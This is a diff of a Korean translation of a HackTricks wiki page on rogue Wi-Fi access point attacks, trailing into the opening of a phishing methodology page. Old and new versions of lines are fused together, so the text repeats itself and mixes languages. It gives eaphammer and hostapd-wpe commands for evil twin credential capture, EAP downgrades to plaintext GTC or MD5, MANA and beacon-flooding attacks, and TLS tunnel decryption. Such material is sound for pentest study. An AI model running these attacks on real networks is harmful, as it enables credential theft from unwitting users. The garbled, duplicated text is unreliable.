기본적으로 PNL에 저장된 ESSID가 WPA로 보호되어 있으면 기기가 자동으로 오픈 악의적인 트윈에 연결되지 않습니다. 실제 AP를 DoS(서비스 거부)하여 사용자가 수동으로 오픈 악의적인 트윈에 연결하도록 희망할 수 있습니다. 또는 실제 AP를 DoS하고 WPA Evil Twin을 사용하여 핸드셰이크를 캡처할 수 있습니다 (이 방법을 사용하면 피해자가 PSK를 모르기 때문에 연결할 수 없지만 핸드셰이크를 캡처하고 크랙을 시도할 수 있습니다). 기본적으로 PNL에 ESSID가 WPA로 보호되어 저장되어 있으면, 장치는 자동으로 Open evil Twin에 연결되지 않습니다. 실제 AP에 DoS 공격을 시도하고 사용자가 수동으로 Open evil twin에 연결하기를 희망할 수 있으며, 또는 실제 AP에 DoS 공격을 하고 WPA Evil Twin을 사용하여 핸드쉐이크를 캡처할 수 있습니다(이 방법을 사용하면 PSK를 모르기 때문에 피해자가 당신에게 연결하도록 할 수는 없지만, 핸드쉐이크를 캡처하고 이를 크랙하려고 시도할 수 있습니다).
_일부 OS 및 AV는 오픈 네트워크에 연결하는 것이 위험하다는 경고를 사용자에게 표시할 수 있습니다..._ _일부 OS 및 AV는 사용자가 Open 네트워크에 연결하는 것이 위험하다고 경고할 것입니다..._
### WPA/WPA2 Evil Twin ### WPA/WPA2 Evil Twin
**WPA/2를 사용하여 악의적인 트윈을 생성**할 수 있으며, 장치가 WPA/2로 해당 SSID에 연결하도록 구성된 경우 연결을 시도할 것입니다. 그러나 **4-way-handshake를 완료**하려면 클라이언트가 사용할 **암호**를 **알아야** 합니다. 알지 못한다면 **연결이 완료되지 않습니다**. **WPA/2를 사용하여 Evil Twin을 생성할 수** 있으며, 장치가 WPA/2로 해당 SSID에 연결하도록 구성되어 있다면 연결을 시도할 것입니다. 어쨌든, **4-way-handshake를 완료하려면** 클라이언트가 사용할 **비밀번호**를 **알아야** 합니다. **모르시면** **연결이 완료되지 않습니다**.
```bash ```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
``` ```
### 기업용 이블 트윈 ### Enterprise Evil Twin
이 공격을 이해하기 위해서는 먼저 간단한 [WPA Enterprise 설명](./#wpa-enterprise-mgt)을 읽는 것을 권장합니다. 이 공격을 이해하기 위해서는 먼저 [WPA Enterprise 설명](./#wpa-enterprise-mgt)을 읽는 것이 좋습니다.
**hostapd-wpe 사용** **hostapd-wpe 사용하기**
`hostapd-wpe`는 작동하기 위해 **구성** 파일이 필요합니다. 이러한 구성을 자동화하기 위해 [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)을 사용할 수 있습니다 ( _/etc/hostapd-wpe/_ 내의 파이썬 파일 다운로드) `hostapd-wpe`는 작동하기 위해 **구성** 파일이 필요합니다. 이러한 구성을 **자동화**하려면 [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)를 사용할 수 있습니다 (파일을 _/etc/hostapd-wpe/_ 안에서 다운로드하세요).
```bash ```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s hostapd-wpe ./victim/victim.conf -s
``` ```
``` 구성 파일에서 ssid, 채널, 사용자 파일, cret/key, dh 매개변수, wpa 버전 및 인증과 같은 다양한 항목을 선택할 수 있습니다.
구성 파일에서는 ssid, 채널, 사용자 파일, cret/key, dh 매개변수, wpa 버전 및 인증과 같은 다양한 항목을 선택할 수 있습니다.
[**EAP-TLS를 사용하여 hostapd-wpe 사용하여 모든 인증서로 로그인 허용하기.**](evil-twin-eap-tls.md) [**EAP-TLS를 사용하여 모든 인증서로 로그인할 수 있도록 hostapd-wpe 사용하기.**](evil-twin-eap-tls.md)
**EAPHammer 사용하기** **EAPHammer 사용하기**
```
```bash ```bash
# Generate Certificates # Generate Certificates
./eaphammer --cert-wizard ./eaphammer --cert-wizard
@ -585,43 +590,43 @@ hostapd-wpe ./victim/victim.conf -s
# Launch Attack # Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
``` ```
기본적으로, EAPHammer는 이러한 인증 방법을 사용합니다 (평문 암호를 얻기 위해 첫 번째로 GTC를 시도하고 그런 다음 더 견고한 인증 방법을 사용합니다): 기본적으로 EAPHammer는 이 인증 방법을 목적합니다 (GTC를 첫 번째로 시도하여 평문 비밀번호를 얻고 그 다음에 더 강력한 인증 방법을 사용하는 것을 주목하십시오):
``` ```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
``` ```
는 연결 시간이 길어지는 것을 피하기 위한 기본 방법론입니다. 그러나 또한 서버에게 인증 방법을 가장 약한 것부터 가장 강한 것으로 지정할 수도 있습니다: 것은 긴 연결 시간을 피하기 위한 기본 방법론입니다. 그러나 인증 방법을 가장 약한 것부터 가장 강한 것으로 서버에 지정할 수도 있습니다:
``` ```
--negotiate weakest --negotiate weakest
``` ```
또는 다음을 사용할 수도 있습니다: Or you could also use:
* `--negotiate gtc-downgrade`를 사용하여 매우 효율적인 GTC 다운그레이드 구현(평문 암호) 사용 * `--negotiate gtc-downgrade`를 사용하여 매우 효율적인 GTC 다운그레이드 구현(평문 비밀번호)을 사용할 수 있습니다.
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`를 사용하여 수동으로 제공되는 방법을 지정(공격 대상 조직과 동일한 인증 방법을 동일한 순서로 제공하면 감지가 훨씬 어려워집니다). * `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`를 사용하여 제공되는 방법을 수동으로 지정합니다(조직과 동일한 순서로 동일한 인증 방법을 제공하면 공격을 탐지하기가 훨씬 더 어려워집니다).
* [위키에서 자세한 정보 확인](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [위키에서 더 많은 정보 찾기](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Airgeddon 사용** **Airgeddon 사용하기**
`Airgeddon`은 이전에 생성된 인증서를 사용하여 WPA/WPA2-Enterprise 네트워크에 EAP 인증을 제공할 수 있습니다. 가짜 네트워크는 연결 프로토콜을 EAP-MD5로 다운그레이드하여 **사용자와 암호의 MD5를 캡처**할 수 있습니다. 나중에 공격자는 암호를 크랙해 볼 수 있습니다.\ `Airgeddon`은 이전에 생성된 인증서를 사용하여 WPA/WPA2-Enterprise 네트워크에 EAP 인증을 제공합니다. 가짜 네트워크는 연결 프로토콜을 EAP-MD5로 다운그레이드하여 **사용자와 비밀번호의 MD5를 캡처할 수 있습니다**. 이후 공격자는 비밀번호를 크랙하려고 시도할 수 있습니다.\
`Airggedon`은 **연속적인 이블 트윈 공격(소음이 많음)** 또는 **누군가 연결할 때까지 이블 공격을 만드는 옵션**을 제공합니다. `Airgeddon`은 **지속적인 Evil Twin 공격(소음)** 또는 **누군가 연결될 때까지 Evil Attack만 생성(부드럽게)** 할 수 있는 가능성을 제공합니다.
![](<../../.gitbook/assets/image (936).png>) ![](<../../.gitbook/assets/image (936).png>)
### 이블 트윈 공격에서 PEAP 및 EAP-TTLS TLS 터널 디버깅 ### Evil Twins 공격에서 PEAP 및 EAP-TTLS TLS 터널 디버깅
_이 방법은 PEAP 연결에서 테스트되었지만 임의의 TLS 터널을 해독하고 있기 때문에 EAP-TTLS에서도 작동해야 합니다._ _이 방법은 PEAP 연결에서 테스트되었지만 임의의 TLS 터널을 복호화하고 있으므로 EAP-TTLS에서도 작동해야 합니다._
_hostapd-wpe_ **구성** 내부에서 _**dh\_file**_을 포함하는 줄을 **주석 처리**합니다(`dh_file=/etc/hostapd-wpe/certs/dh`에서 `#dh_file=/etc/hostapd-wpe/certs/dh`로 변경)\ **hostapd-wpe**의 **구성**에서 _**dh\_file**_이 포함된 줄을 **주석 처리**합니다(`dh_file=/etc/hostapd-wpe/certs/dh`에서 `#dh_file=/etc/hostapd-wpe/certs/dh`로 변경)\
이렇게 하면 `hostapd-wpe`가 **DH 대신 RSA를 사용하여 키를 교환**하도록 만들어져 나중에 **서버의 개인 키를 알고 있으면 트래픽을 해독**할 수 있습니다. 이렇게 하면 `hostapd-wpe`**DH 대신 RSA를 사용하여 키를 교환**하므로 나중에 **서버의 개인 키를 알고** 트래픽을 **복호화**할 수 있습니다.
이제 수정된 구성을 사용하여 **`hostapd-wpe`**를 시작하여 **이블 트윈**을 시작하십시오. 또한, 이블 트윈 공격을 수행하는 **인터페이스**에서 **`wireshark`**를 시작하십시오. 이제 수정된 구성으로 **`hostapd-wpe`**를 사용하여 **Evil Twin**을 시작합니다. 또한 **Evil Twin 공격을 수행하는 인터페이스에서 `wireshark`**를 시작합니다.
지금이나 나중에(인증 의도를 이미 캡처한 경우) RSA 키를 wireshark에 추가할 수 있습니다: `편집 --> 환경 설정 --> 프로토콜 --> TLS --> (RSA 키 목록) 편집...` 이제 또는 나중에(인증 시도가 캡처된 후) `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`에서 wireshark에 개인 RSA 키를 추가할 수 있습니다.
새 항목을 추가하고 다음 값을 입력하십시오: **IP 주소 = any** -- **포트 = 0** -- **프로토콜 = 데이터** -- **키 파일** (**키 파일을 선택**하고 문제를 피하려면 **암호로 보호되지 않은 키 파일**을 선택하십시오). 새 항목을 추가하고 다음 값으로 양식을 채웁니다: **IP 주소 = any** -- **포트 = 0** -- **프로토콜 = data** -- **키 파일** (**키 파일 선택**, 문제를 피하기 위해 **비밀번호로 보호되지 않은 키 파일을 선택**).
![](<../../.gitbook/assets/image (687).png>) ![](<../../.gitbook/assets/image (687).png>)
그리고 새로운 **"해독된 TLS" 탭**을 확인하십시오: 그리고 새로운 **"Decrypted TLS" 탭**을 확인합니다:
![](<../../.gitbook/assets/image (231).png>) ![](<../../.gitbook/assets/image (231).png>)
@ -629,16 +634,16 @@ _hostapd-wpe_ **구성** 내부에서 _**dh\_file**_을 포함하는 줄을 **
### ESSID 및 MAC 블랙/화이트리스트 ### ESSID 및 MAC 블랙/화이트리스트
다양한 유형의 미디어 액세스 제어 필터 목록(MFACL) 및 해당 모드 및 효과에 대한 로그 액세스 포인트(AP)의 동작에 미치는 영향: 다양한 유형의 미디어 접근 제어 필터 목록(MFACL)과 해당 모드 및 악성 액세스 포인트(AP)의 동작에 미치는 영향:
1. **MAC 기반 화이트리스트**: 1. **MAC 기반 화이트리스트**:
* 로그 AP는 화이트리스트에 지정된 장치의 프로브 요청에만 응답하여 목록에 없는 모든 다른 장치에게는 보이지 않습니다. * 악성 AP는 화이트리스트에 지정된 장치의 프로브 요청에만 응답하며, 나열되지 않은 모든 장치에는 보이지 않습니다.
2. **MAC 기반 블랙리스트**: 2. **MAC 기반 블랙리스트**:
* 로그 AP는 블랙리스트에 있는 장치의 프로브 요청을 무시하여 해당 특정 장치에 대해 로그 AP를 보이지 않게 만듭니다. * 악성 AP는 블랙리스트에 있는 장치의 프로브 요청을 무시하여 해당 특정 장치에 대해 악성 AP가 보이지 않게 만듭니다.
3. **ESSID 기반 화이트리스트**: 3. **SSID 기반 화이트리스트**:
* 로그 AP는 목록에 포함되지 않은 ESSID를 가진 장치에 대한 프로브 요청에만 응답하여 해당 ESSID가 포함되지 않은 장치에게는 보이지 않게 합니다. * 악성 AP는 특정 ESSID에 대한 프로브 요청에만 응답하여, 해당 ESSID가 포함되지 않은 장치에는 보이지 않게 만듭니다.
4. **ESSID 기반 블랙리스트**: 4. **SSID 기반 블랙리스트**:
* 로그 AP는 블랙리스트에 있는 특정 ESSID에 대한 프로브 요청에 응답하지 않으므로 해당 특정 네트워크를 찾는 장치에게 보이지 않게 만듭니다. * 악성 AP는 블랙리스트에 있는 특정 ESSID에 대한 프로브 요청에 응답하지 않으며, 해당 특정 네트워크를 찾는 장치에는 보이지 않게 만듭니다.
```bash ```bash
# example EAPHammer MFACL file, wildcards can be used # example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af 09:6a:06:c8:36:af
@ -660,33 +665,33 @@ name3
``` ```
### KARMA ### KARMA
이 방법을 사용하면 **공격자가 악의적인 접속 지점 (AP)을 생성하여 네트워크에 연결하려는 장치들의 모든 프로브 요청에 응답**할 수 있습니다. 이 기술은 장치들이 찾고 있는 네트워크를 모방하여 **장치들을 공격자의 AP에 연결하도록 속입니다**. 한 번 장치가 이 장난스러운 AP에 연결 요청을 보내면 연결이 완료되어 장치가 실수로 공격자의 네트워크에 연결하게 됩니다. 이 방법**공격자가 네트워크에 연결하려는 장치의 모든 프로브 요청에 응답하는 악성 액세스 포인트(AP)를 생성할 수 있게 해줍니다**. 이 기술은 **장치가 찾고 있는 네트워크를 모방하여 장치를 공격자의 AP에 연결하도록 속입니다**. 장치가 이 악성 AP에 연결 요청을 보내면 연결이 완료되어 장치가 실수로 공격자의 네트워크에 연결됩니다.
### MANA ### MANA
후, **장치들은 요청하지 않은 네트워크 응답을 무시하기 시작하여** 원래의 karma 공격의 효과를 줄였습니다. 그러나 Ian de Villiers와 Dominic White가 소개한 **MANA 공격**이라고 알려진 새로운 방법이 등장했습니다. 이 방법은 악의적인 AP가 장치들의 브로드캐스트 프로브 요청에 응답하여 장치들이 이전에 요청한 네트워크 이름 (SSID)으로 **우선 네트워크 목록 (PNL)을 캡처**하는 것을 포함합니다. 이 정교한 공격은 장치들이 알고 있는 네트워크를 기억하고 우선 순위를 정하는 방식을 악용하여 원래의 karma 공격에 대한 보호장치를 우회합니다. 런 다음, **장치가 원치 않는 네트워크 응답을 무시하기 시작하여 원래의 카르마 공격의 효과를 줄였습니다**. 그러나 **MANA 공격**으로 알려진 새로운 방법이 Ian de Villiers와 Dominic White에 의해 도입되었습니다. 이 방법은 악성 AP가 **장치의 방송 프로브 요청에 응답하여 장치가 이전에 요청한 네트워크 이름(SSID)으로 선호 네트워크 목록(PNL)을 캡처하는** 것입니다. 이 정교한 공격은 장치가 알려진 네트워크를 기억하고 우선 순위를 매기는 방식을 이용하여 원래의 카르마 공격에 대한 보호를 우회합니다.
MANA 공격은 장치들로부터의 지시된 및 브로드캐스트 프로브 요청을 모니터링하여 작동합니다. 지시된 요청의 경우, 장치의 MAC 주소와 요청된 네트워크 이름을 기록하여 이 정보를 목록에 추가합니다. 브로드캐스트 요청을 받으면, AP는 장치 목록에 있는 네트워크 중 어느 것과 일치하는 정보로 응답하여 장치가 악의적인 AP에 연결하도록 유인합니다. MANA 공격은 장치의 지향 및 방송 프로브 요청을 모두 모니터링하여 작동합니다. 지향 요청의 경우, 장치의 MAC 주소와 요청된 네트워크 이름을 기록하여 이 정보를 목록에 추가합니다. 방송 요청이 수신되면 AP는 장치 목록의 네트워크와 일치하는 정보를 제공하여 장치가 악성 AP에 연결하도록 유도합니다.
```bash ```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
### 러우드 MANA ### Loud MANA
**러우드 MANA 공격**은 기기가 지정된 프로빙을 사용하지 않거나 그들의 우선 네트워크 목록(PNL)이 공격자에게 알려지지 않은 경우에 대한 고급 전략입니다. 이 공격은 **동일 지역에 있는 기기들은 PNL에서 일부 네트워크 이름을 공유할 가능성이 높다**는 원칙에 기반합니다. 이 공격은 선택적으로 응답하는 대신, 모든 관찰된 기기의 결합된 PNL에 있는 모든 네트워크 이름(ESSID)에 대한 프로브 응답을 브로드캐스트합니다. 이 넓은 접근 방식은 기기가 익숙한 네트워크를 인식하고 로그 액세스 포인트(AP)에 연결을 시도하는 가능성을 높입니다. A **Loud MANA attack**는 장치가 지향 프로빙을 사용하지 않거나 공격자에게 선호 네트워크 목록(PNL)이 알려지지 않은 경우에 대한 고급 전략입니다. 이 공격은 **같은 지역에 있는 장치들이 PNL에서 일부 네트워크 이름을 공유할 가능성이 높다는 원칙**에 기반합니다. 선택적으로 응답하는 대신, 이 공격은 관찰된 모든 장치의 결합된 PNL에서 발견된 모든 네트워크 이름(ESSID)에 대해 프로브 응답을 방송합니다. 이 광범위한 접근 방식은 장치가 익숙한 네트워크를 인식하고 악성 액세스 포인트(AP)에 연결을 시도할 가능성을 높입니다.
```bash ```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
``` ```
### 알려진 비콘 공격 ### Known Beacon attack
**Loud MANA 공격**이 충분하지 않을 때, **알려진 비콘 공격**은 다른 접근 방식을 제시합니다. 이 방법은 **단어 목록에서 파생된 잠재적인 ESSID 목록을 순환하면서 어떤 네트워크 이름에도 응답하는 AP를 시뮬레이션하여 연결 프로세스를 무차별 대입**합니다. 이는 다수의 네트워크가 존재하는 것처럼 시뮬레이션하며, 피해자의 PNL 내에서 ESSID를 일치시키고, 조작된 AP로의 연결 시도를 유도합니다. 이 공격은 장치를 유인하기 위해 더 공격적인 시도를 위해 `--loud` 옵션과 결합하여 증폭될 수 있습니다. **Loud MANA 공격**이 충분하지 않을 때, **Known Beacon 공격**은 또 다른 접근 방식을 제공합니다. 이 방법은 **단어 목록에서 파생된 잠재적 ESSID 목록을 순환하며 모든 네트워크 이름에 응답하는 AP를 시뮬레이션하여 연결 프로세스를 무차별 대입합니다**. 이는 여러 네트워크의 존재를 시뮬레이션하여 피해자의 PNL 내에서 ESSID와 일치하기를 희망하며, 조작된 AP에 대한 연결 시도를 유도합니다. 이 공격은 장치를 포획하기 위한 보다 공격적인 시도를 위해 `--loud` 옵션과 결합하여 증폭할 수 있습니다.
Eaphammer는 이 공격을 MANA 공격으로 구현하였으며, 목록 내의 모든 ESSID가 공격 대상이 됩니다 (`--loud`와 결합하여 Loud MANA + 알려진 비콘 공격을 만들 수도 있습니다): Eaphammer는 이 공격을 MANA 공격으로 구현했으며, 목록 내의 모든 ESSID가 사용됩니다 (여기에 `--loud`를 결합하여 Loud MANA + Known beacons 공격을 생성할 수도 있습니다):
```bash ```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
**알려진 비콘 버스트 공격** **Known Beacon Burst attack**
**알려진 비콘 버스트 공격**은 **파일에 나열된 각 ESSID에 대해 비콘 프레임을 빠르게 연이어 방송**하는 것을 포함합니다. 이는 가짜 네트워크의 밀도가 높아져 기기가 로그 AP에 연결할 가능성을 크게 높이며, 특히 MANA 공격과 결합될 때 효과적입니다. 이 기술은 속도와 양을 활용하여 기기의 네트워크 선택 메커니즘을 압도합니다. **Known Beacon Burst attack**는 **파일에 나열된 각 ESSID에 대해 비콘 프레임을 빠르게 방송하는 것**을 포함합니다. 이는 가짜 네트워크의 밀집된 환경을 생성하여, 특히 MANA 공격과 결합할 때 장치가 악성 AP에 연결될 가능성을 크게 높입니다. 이 기술은 속도와 양을 활용하여 장치의 네트워크 선택 메커니즘을 압도합니다.
```bash ```bash
# transmit a burst of 5 forged beacon packets for each entry in list # transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \ ./forge-beacons -i wlan1 \
@ -697,19 +702,19 @@ Eaphammer는 이 공격을 MANA 공격으로 구현하였으며, 목록 내의
``` ```
## Wi-Fi Direct ## Wi-Fi Direct
**Wi-Fi Direct**는 전통적인 무선 액세스 포인트가 필요하지 않고 Wi-Fi를 사용하여 기기들이 직접 연결할 수 있게 하는 프로토콜입니다. 이 기능은 프린터 및 텔레비전과 같은 다양한 사물 인터넷(IoT) 기기에 통합되어 있으며, 기기 간 직접 통신을 용이하게 합니다. Wi-Fi Direct의 주목할만한 기능 중 하나는 한 기기가 연결을 관리하기 위해 액세스 포인트 역할을 맡는다는 것입니다. 이를 그룹 소유자라고 합니다. **Wi-Fi Direct**는 전통적인 무선 액세스 포인트 없이 Wi-Fi를 사용하여 장치들이 서로 직접 연결할 수 있도록 하는 프로토콜입니다. 이 기능은 프린터와 텔레비전과 같은 다양한 사물인터넷(IoT) 장치에 통합되어 있어 장치 간의 직접 통신을 용이하게 합니다. Wi-Fi Direct의 주목할 만한 특징은 하나의 장치가 그룹 소유자라고 알려진 액세스 포인트 역할을 하여 연결을 관리한다는 것입니다.
Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설정되며, 이는 안전한 페어링을 위해 여러 방법을 지원합니다. 이 방법에는 다음이 포함됩니다: Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설정되며, 안전한 페어링을 위한 여러 방법을 지원합니다. 여기에는 다음이 포함됩니다:
- **Push-Button Configuration (PBC)** * **Push-Button Configuration (PBC)**
- **PIN 입력** * **PIN 입력**
- **근거리 통신 (NFC)** * **Near-Field Communication (NFC)**
특히 PIN 입력과 같은 러한 방법은 전통적인 Wi-Fi 네트워크의 WPS와 동일한 취약점에 취약하며, 이로 인해 유사한 공격 벡터의 대상이 됩니다. 이 방법들은 특히 PIN 입력이 전통적인 Wi-Fi 네트워크의 WPS와 동일한 취약점에 노출되어 있어 유사한 공격 벡터의 표적이 됩니다.
### EvilDirect Hijacking ### EvilDirect Hijacking
**EvilDirect Hijacking**은 Wi-Fi Direct에 특화된 공격입니다. 이는 Evil Twin 공격의 개념을 반영하지만 Wi-Fi Direct 연결을 대상으로 합니다. 이 시나리오에서 공격자는 악의적인 엔터티에 연결하도록 기기들을 속이기 위해 합법적인 그룹 소유자를 흉내냅니다. 이 방법은 `airbase-ng`와 같은 도구를 사용하여 실행할 수 있으며, 이때는 채널, ESSID 및 흉내낸 기기의 MAC 주소를 지정해야 합니다. **EvilDirect Hijacking**은 Wi-Fi Direct에 특정한 공격입니다. 이는 Evil Twin 공격의 개념을 반영하지만 Wi-Fi Direct 연결을 목표로 합니다. 이 시나리오에서 공격자는 합법적인 그룹 소유자를 가장하여 장치들이 악의적인 엔티티에 연결하도록 속이는 것을 목표로 합니다. 이 방법은 `airbase-ng`와 같은 도구를 사용하여 채널, ESSID 및 가장한 장치의 MAC 주소를 지정하여 실행할 수 있습니다.
## References ## References
@ -724,33 +729,34 @@ Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) * [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)를 확인해보세요 (페이스북 로그인 및 포털 캡티브에서 WPA 모방) TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요! Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**해킹 통찰**\ **Hacking Insights**\
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요 Engage with content that delves into the thrill and challenges of hacking
**실시간 해킹 뉴스**\ **Real-Time Hack News**\
실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 따라가세요 Keep up-to-date with fast-paced hacking world through real-time news and insights
**최신 공지**\ **Latest Announcements**\
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아두세요 Stay informed with the newest bug bounties launching and crucial platform updates
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!** **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,50 +1,51 @@
# 피싱 방법론 # 피싱 방법론
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**로 AWS 해킹을 배우세요!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## 방법론 ## 방법론
1. 피해자 식별 1. 피해자 조사
1. **피해자 도메인** 선택 1. **피해자 도메인** 선택.
